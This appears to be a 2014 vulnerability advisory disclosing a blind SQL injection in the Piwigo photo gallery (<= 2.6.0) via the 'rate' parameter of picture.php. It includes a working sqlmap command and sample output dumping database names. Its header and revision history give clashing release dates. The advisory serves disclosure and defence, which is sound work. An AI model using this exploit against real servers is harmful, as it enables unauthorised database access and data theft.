98 lines
No EOL
2.9 KiB
Text
98 lines
No EOL
2.9 KiB
Text
=============================================
|
|
MGC ALERT 2014-001
|
|
- Original release date: January 12, 2014
|
|
- Last revised: November 12, 2014
|
|
- Discovered by: Manuel García Cárdenas
|
|
- Severity: 7,1/10 (CVSS Base Score)
|
|
=============================================
|
|
|
|
I. VULNERABILITY
|
|
-------------------------
|
|
Blind SQL Injection in Piwigo <= v2.6.0
|
|
|
|
II. BACKGROUND
|
|
-------------------------
|
|
Piwigo is a web application management photo albums, available under the
|
|
License GPL. Is written in PHP and requires a MySQL, PostgreSQL or SQLite
|
|
data.
|
|
|
|
III. DESCRIPTION
|
|
-------------------------
|
|
This bug was found using the portal without authentication. To exploit the
|
|
vulnerability only is needed use the version 1.0 of the HTTP protocol to
|
|
interact with the application. It is possible to inject SQL code in the
|
|
variable "rate" on the page "picture.php".
|
|
|
|
IV. PROOF OF CONCEPT
|
|
-------------------------
|
|
The following URL's and parameters have been confirmed to all suffer from
|
|
Blind SQL injection.
|
|
|
|
/piwigo/picture.php?/1/category/1&action=rate (POST parameter: rate=1)
|
|
|
|
Exploiting with SQLMap:
|
|
|
|
python sqlmap.py -u "
|
|
http://192.168.244.129/piwigo/picture.php?/1/category/1&action=rate" --data
|
|
"rate=1" --dbs
|
|
|
|
[16:32:25] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
|
|
web application technology: PHP 5.3.2, Apache 2.2.14
|
|
back-end DBMS: MySQL 5
|
|
[16:32:25] [INFO] fetching database names
|
|
[16:32:25] [INFO] fetching number of databases
|
|
[16:32:25] [INFO] resumed: 4
|
|
[16:32:25] [INFO] resumed: information_schema
|
|
[16:32:25] [INFO] resumed: mysql
|
|
[16:32:25] [INFO] resumed: phpmyadmin
|
|
[16:32:25] [INFO] resumed: piwigo
|
|
available databases [4]:
|
|
[*] information_schema
|
|
[*] mysql
|
|
[*] phpmyadmin
|
|
[*] piwigo
|
|
|
|
V. BUSINESS IMPACT
|
|
-------------------------
|
|
Public defacement, confidential data leakage, and database server
|
|
compromise can result from these attacks. Client systems can also be
|
|
targeted, and complete compromise of these client systems is also possible.
|
|
|
|
VI. SYSTEMS AFFECTED
|
|
-------------------------
|
|
Piwigo <= v2.6.0
|
|
|
|
VII. SOLUTION
|
|
-------------------------
|
|
All data received by the application and can be modified by the user,
|
|
before making any kind of transaction with them must be validated.
|
|
|
|
VIII. REFERENCES
|
|
-------------------------
|
|
http://www.piwigo.org
|
|
|
|
IX. CREDITS
|
|
-------------------------
|
|
This vulnerability has been discovered and reported
|
|
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
|
|
|
|
X. REVISION HISTORY
|
|
-------------------------
|
|
January 21, 2014 1: Initial release
|
|
|
|
|
|
XI. DISCLOSURE TIMELINE
|
|
-------------------------
|
|
January 21, 2014 1: Vulnerability acquired by Manuel Garcia Cardenas
|
|
November 12, 2014 2: Send to the Full-Disclosure lists
|
|
|
|
XII. LEGAL NOTICES
|
|
-------------------------
|
|
The information contained within this advisory is supplied "as-is" with no
|
|
warranties or guarantees of fitness of use or otherwise.
|
|
|
|
XIII. ABOUT
|
|
-------------------------
|
|
Manuel Garcia Cardenas
|
|
Pentester |